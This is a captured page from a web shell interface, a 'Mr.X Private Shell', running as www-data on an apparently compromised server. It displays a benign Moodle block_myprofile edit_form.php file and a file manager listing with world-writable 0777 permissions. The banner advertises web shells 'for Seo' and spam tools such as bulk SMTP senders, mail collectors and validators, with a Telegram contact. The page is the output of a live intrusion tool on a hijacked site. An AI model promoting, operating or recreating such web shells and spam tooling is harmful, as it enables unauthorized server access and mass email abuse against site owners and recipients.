__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

defined('MOODLE_INTERNAL') || die();

/**
 * Form for editing profile block settings
 *
 * @package    block_myprofile
 * @copyright  2010 Remote-Learner.net
 * @author     Olav Jordan <olav.jordan@remote-learner.ca>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class block_myprofile_edit_form extends block_edit_form {
    protected function specific_definition($mform) {
        global $CFG;
        $mform->addElement('header', 'configheader', get_string('myprofile_settings', 'block_myprofile'));

        $mform->addElement('selectyesno', 'config_display_picture', get_string('display_picture', 'block_myprofile'));
        if (isset($this->block->config->display_picture)) {
            $mform->setDefault('config_display_picture', $this->block->config->display_picture);
        } else {
            $mform->setDefault('config_display_picture', '1');
        }

        $mform->addElement('selectyesno', 'config_display_country', get_string('display_country', 'block_myprofile'));
        if (isset($this->block->config->display_country)) {
            $mform->setDefault('config_display_country', $this->block->config->display_country);
        } else {
            $mform->setDefault('config_display_country', '1');
        }

        $mform->addElement('selectyesno', 'config_display_city', get_string('display_city', 'block_myprofile'));
        if (isset($this->block->config->display_city)) {
            $mform->setDefault('config_display_city', $this->block->config->display_city);
        } else {
            $mform->setDefault('config_display_city', '1');
        }

        $mform->addElement('selectyesno', 'config_display_email', get_string('display_email', 'block_myprofile'));
        if (isset($this->block->config->display_email)) {
            $mform->setDefault('config_display_email', $this->block->config->display_email);
        } else {
            $mform->setDefault('config_display_email', '1');
        }

        $mform->addElement('selectyesno', 'config_display_phone1', get_string('display_phone1', 'block_myprofile'));
        if (isset($this->block->config->display_phone1)) {
            $mform->setDefault('config_display_phone1', $this->block->config->display_phone1);
        } else {
            $mform->setDefault('config_display_phone1', '0');
        }

        $mform->addElement('selectyesno', 'config_display_phone2', get_string('display_phone2', 'block_myprofile'));
        if (isset($this->block->config->display_phone2)) {
            $mform->setDefault('config_display_phone2', $this->block->config->display_phone2);
        } else {
            $mform->setDefault('config_display_phone2', '0');
        }

        $mform->addElement('selectyesno', 'config_display_institution', get_string('display_institution', 'block_myprofile'));
        if (isset($this->block->config->display_institution)) {
            $mform->setDefault('config_display_institution', $this->block->config->display_institution);
        } else {
            $mform->setDefault('config_display_institution', '0');
        }

        $mform->addElement('selectyesno', 'config_display_address', get_string('display_address', 'block_myprofile'));
        if (isset($this->block->config->display_address)) {
            $mform->setDefault('config_display_address', $this->block->config->display_address);
        } else {
            $mform->setDefault('config_display_address', '0');
        }

        $mform->addElement('selectyesno', 'config_display_idnumber', get_string('display_idnumber', 'block_myprofile'));
        if (isset($this->block->config->display_idnumber)) {
            $mform->setDefault('config_display_idnumber', $this->block->config->display_idnumber);
        } else {
            $mform->setDefault('config_display_idnumber', '0');
        }

        $mform->addElement('selectyesno', 'config_display_firstaccess', get_string('display_firstaccess', 'block_myprofile'));
        if (isset($this->block->config->display_firstaccess)) {
            $mform->setDefault('config_display_firstaccess', $this->block->config->display_firstaccess);
        } else {
            $mform->setDefault('config_display_firstaccess', '0');
        }

        $mform->addElement('selectyesno', 'config_display_lastaccess', get_string('display_lastaccess', 'block_myprofile'));
        if (isset($this->block->config->display_lastaccess)) {
            $mform->setDefault('config_display_lastaccess', $this->block->config->display_lastaccess);
        } else {
            $mform->setDefault('config_display_lastaccess', '0');
        }

        $mform->addElement('selectyesno', 'config_display_currentlogin', get_string('display_currentlogin', 'block_myprofile'));
        if (isset($this->block->config->display_currentlogin)) {
            $mform->setDefault('config_display_currentlogin', $this->block->config->display_currentlogin);
        } else {
            $mform->setDefault('config_display_currentlogin', '0');
        }

        $mform->addElement('selectyesno', 'config_display_lastip', get_string('display_lastip', 'block_myprofile'));
        if (isset($this->block->config->display_lastip)) {
            $mform->setDefault('config_display_lastip', $this->block->config->display_lastip);
        } else {
            $mform->setDefault('config_display_lastip', '0');
        }

        $mform->addElement('selectyesno', 'config_display_lastlogin', get_string('display_lastlogin', 'block_myprofile'));
        if (isset($this->block->config->display_lastlogin)) {
            $mform->setDefault('config_display_lastlogin', $this->block->config->display_lastlogin);
        } else {
            $mform->setDefault('config_display_lastlogin', '0');
        }
    }
}

Filemanager

Name Type Size Permission Actions
classes Folder 0777
db Folder 0777
lang Folder 0777
templates Folder 0777
tests Folder 0777
block_myprofile.php File 3.79 KB 0777
edit_form.php File 6.28 KB 0777
styles.css File 481 B 0777
version.php File 1.19 KB 0777
Filemanager